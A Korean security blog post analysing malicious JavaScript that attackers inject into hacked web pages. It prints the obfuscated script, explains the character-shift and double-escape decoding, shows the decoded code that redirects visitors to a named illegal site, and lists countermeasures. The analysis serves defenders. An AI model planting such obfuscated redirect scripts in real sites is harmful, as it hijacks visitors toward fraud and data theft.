사이버위협분석/악성 사이트 분석

불법 사이트 링크 코드 분석

경험한사람 2024. 5. 26. 12:23

 

     "본 블로그의 모든 정보는 합법적이고 윤리적인 보안 연구와 교육 목적으로만 사용되어야 합니다. 불법적인 해킹 및 악의적인
       활동에 사용될 경우, 그 책임은 전적으로 사용자에게 있습니다."

 

웹페이지내 삽입된 불법 사이트 링크 코드 분석

 

 

  개요 
    홈페이지 해킹 후 웹페이지내 불법사이트(도박, 광도 등) 링크 코드를 삽입하여 접속자 악성사이트로 접속을 유도하거나, 개인정보 입력을 유도 함.

 

 

□  삽입된 코드 원문

<script>
str2 =
"&4D&32EPDUZQF&31IUNM&31QVCMJD&31&33.00X4D00EUE&31IUNM&315/1&31Usbotjujpobm00FO&33&4F&1E&1B&4DIUNM&4F&1E&1B&4DIFBE&4F&1E&1B&4DUJUMF&4F&31Ofx&31Epdvnfou&31&4D0UJUMF&4F&1E&1B&4DNFUB&31OBNF&4E&33Hfofsbups&33&31DPOUFOU&4E&33FejuQmvt&33&4F&1E&1B&4DNFUB&31OBNF&4E&33Bvuips&33&31DPOUFOU&4E&33&33&4F&1E&1B&4DNFUB&31OBNF&4E&33Lfzxpset&33&31DPOUFOU&4E&33&33&4F&1E&1B&4DNFUB&31OBNF&4E&33Eftdsjqujpo&33&31DPOUFOU&4E&33&33&4F&1E&1B&4D0IFBE&4F&1E&1B&1E&1B&4DCPEZ&4F&1E&1B&4Dtdsjqu&4F&1E&1Bt&31&4E&31mpdbujpo/isfg/tqmju&39&33&4G&33&3:&4C&1E&1Bjg&39t&6C2&6E&3:&8C&1E&1B&1:upq/mpdbujpo/isfg&4E&33iuuq&4B00xxx/qsfgsjo/dpn0spn0v/iunm&33&4C&1E&1B&8E&31fmtf&31&8C&1E&1B&1:upq/mpdbujpo/isfg&4E&33iuuq&4B00xxx/qsfgsjo/dpn0spn0v/iunm&33&4C&1E&1B&8E&1E&1B&4D0tdsjqu&4F&1E&1B&4D0CPEZ&4F&1E&1B&4D0IUNM&4F";

eh = "";

for(k=0; k<str2.length; k++){
eh+=String.fromCharCode(str2.charCodeAt(k) - 1);
}

document.write(unescape(eh));
</script>

 


□  코드해석
  
    1. 불법 사이트로 링크되는 코드이며, Javascript escape 암호화 / ASC Code 값이 변경된 코드

str2 =
"&4D&32EPDUZQF&31IUNM&31QVCMJD&31&33.00X4D00EUE&31IUNM&315/1&31Usbotjujpobm00FO&33&4F&1E&1B&4DIUNM&4F&1E&1B&4DIFBE&4F&1E&1B&4DUJUMF&4F&31Ofx&31Epdvnfou&31&4D0UJUMF&4F&1E&1B&4DNFUB&31OBNF&4E&33Hfofsbups&33&31DPOUFOU&4E&33FejuQmvt&33&4F&1E&1B&4DNFUB&31OBNF&4E&33Bvuips&33&31DPOUFOU&4E&33&33&4F&1E&1B&4DNFUB&31OBNF&4E&33Lfzxpset&33&31DPOUFOU&4E&33&33&4F&1E&1B&4DNFUB&31OBNF&4E&33Eftdsjqujpo&33&31DPOUFOU&4E&33&33&4F&1E&1B&4D0IFBE&4F&1E&1B&1E&1B&4DCPEZ&4F&1E&1B&4Dtdsjqu&4F&1E&1Bt&31&4E&31mpdbujpo/isfg/tqmju&39&33&4G&33&3:&4C&1E&1Bjg&39t&6C2&6E&3:&8C&1E&1B&1:upq/mpdbujpo/isfg&4E&33iuuq&4B00xxx/qsfgsjo/dpn0spn0v/iunm&33&4C&1E&1B&8E&31fmtf&31&8C&1E&1B&1:upq/mpdbujpo/isfg&4E&33iuuq&4B00xxx/qsfgsjo/dpn0spn0v/iunm&33&4C&1E&1B&8E&1E&1B&4D0tdsjqu&4F&1E&1B&4D0CPEZ&4F&1E&1B&4D0IUNM&4F";

 

    2. str2 변경을 위해 사용 될 변수

eh = "";

 

    3. for 문을 이용하며 str2 내 문자수 만큼 반복, str2.charCodeAt(k) 는 str2 문자열중 k번째 문자를 ASC 코드값으로 변경하는 작업이며, 결과 값에 -1 을 하여 ASC 코드 값을변경 후 String.fromCharCode 를 이용하여 ASC 코드에 -1 된 결과 값을 다시 문자로 변환하여 eh 변수에 저장합니다.

    ※  += 는 기존 값에 추가하는 연산자임)  str2 가 코드변환(String.fromCharCode(str2.charCodeAt(k) - 1)) 작업을 거처서 eh 변수에 저장 됩니다.

for(k=0; k<str2.length; k++){
eh+=String.fromCharCode(str2.charCodeAt(k) - 1);
}

 

    4. eh 코드는 Javascript escape로 암호화된 코드를 복호화한 후 화면에 출력

document.write(unescape(eh));

 

□  코드분석 결과  
    1. for 문 처리 후 eh 변수에 저장된 코드는 아래와 같으며, 해당 코드는 Javascript escape 암호화 방식으로 암호화된 코드입니다.

%253C%2521DOCTYPE%2520HTML%2520PUBLIC%2520%2522-//W3C//DTD%2520HTML%25204.0%2520Transitional//EN%2522%253E%250D%250A%253CHTML%253E%250D%250A%253CHEAD%253E%250D%250A%253CTITLE%253E%2520New%2520Document%2520%253C/TITLE%253E%250D%250A%253CMETA%2520NAME%253D%2522Generator%2522%2520CONTENT%253D%2522EditPlus%2522%253E%250D%250A%253CMETA%2520NAME%253D%2522Author%2522%2520CONTENT%253D%2522%2522%253E%250D%250A%253CMETA%2520NAME%253D%2522Keywords%2522%2520CONTENT%253D%2522%2522%253E%250D%250A%253CMETA%2520NAME%253D%2522Description%2522%2520CONTENT%253D%2522%2522%253E%250D%250A%253C/HEAD%253E%250D%250A%250D%250A%253CBODY%253E%250D%250A%253Cscript%253E%250D%250As%2520%253D%2520location.href.split%2528%2522%253F%2522%2529%253B%250D%250Aif%2528s%255B1%255D%2529%257B%250D%250A%2509top.location.href%253D%2522http%253A//www.prefrin.com/rom/u.html%2522%253B%250D%250A%257D%2520else%2520%257B%250D%250A%2509top.location.href%253D%2522http%253A//www.prefrin.com/rom/u.html%2522%253B%250D%250A%257D%250D%250A%253C/script%253E%250D%250A%253C/BODY%253E%250D%250A%253C/HTML%253E

 

    2. 위 코드를 Javascript unescape 를 이용하여 복호화한 코드는 아래와 같습니다.

%3C%21DOCTYPE%20HTML%20PUBLIC%20%22-//W3C//DTD%20HTML%204.0%20Transitional//EN%22%3E%0D%0A%3CHTML%3E%0D%0A%3CHEAD%3E%0D%0A%3CTITLE%3E%20New%20Document%20%3C/TITLE%3E%0D%0A%3CMETA%20NAME%3D%22Generator%22%20CONTENT%3D%22EditPlus%22%3E%0D%0A%3CMETA%20NAME%3D%22Author%22%20CONTENT%3D%22%22%3E%0D%0A%3CMETA%20NAME%3D%22Keywords%22%20CONTENT%3D%22%22%3E%0D%0A%3CMETA%20NAME%3D%22Description%22%20CONTENT%3D%22%22%3E%0D%0A%3C/HEAD%3E%0D%0A%0D%0A%3CBODY%3E%0D%0A%3Cscript%3E%0D%0As%20%3D%20location.href.split%28%22%3F%22%29%3B%0D%0Aif%28s%5B1%5D%29%7B%0D%0A%09top.location.href%3D%22http%3A//www.prefrin.com/rom/u.html%22%3B%0D%0A%7D%20else%20%7B%0D%0A%09top.location.href%3D%22http%3A//www.prefrin.com/rom/u.html%22%3B%0D%0A%7D%0D%0A%3C/script%3E%0D%0A%3C/BODY%3E%0D%0A%3C/HTML%3E

 

    3. 변경사항은 %25 코드가 % 으로 변경되었으며, 위 코드를 다시 UrlDecode 방식을 이용하여 복호화 할 경우 아래와 같이 불법 사이트로 이동되는 코드가 삽입된 것을 확인할 수 있습니다.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE> New Document </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
</HEAD>
<BODY>
<script>
s = location.href.split("?");
if(s[1]){
           top.location.href="http://www.prefrin.com/rom/u.html";
} else {
           top.location.href="http://www.prefrin.com/rom/u.html";
}
</script></BODY></HTML>

 

 

□  대응방안  
    1. 의심스러운 사이트 접속 시 개인정보를 입력하지 않는다.
   2. 악성 이메일 발신지 IP와 이메일주소를 차단한다.
       - http://www.prefrin.com
    3. 브라우저(구글크롬-세이프브라우징) 보안기능을 활성화 한다.

 

이상.  끝.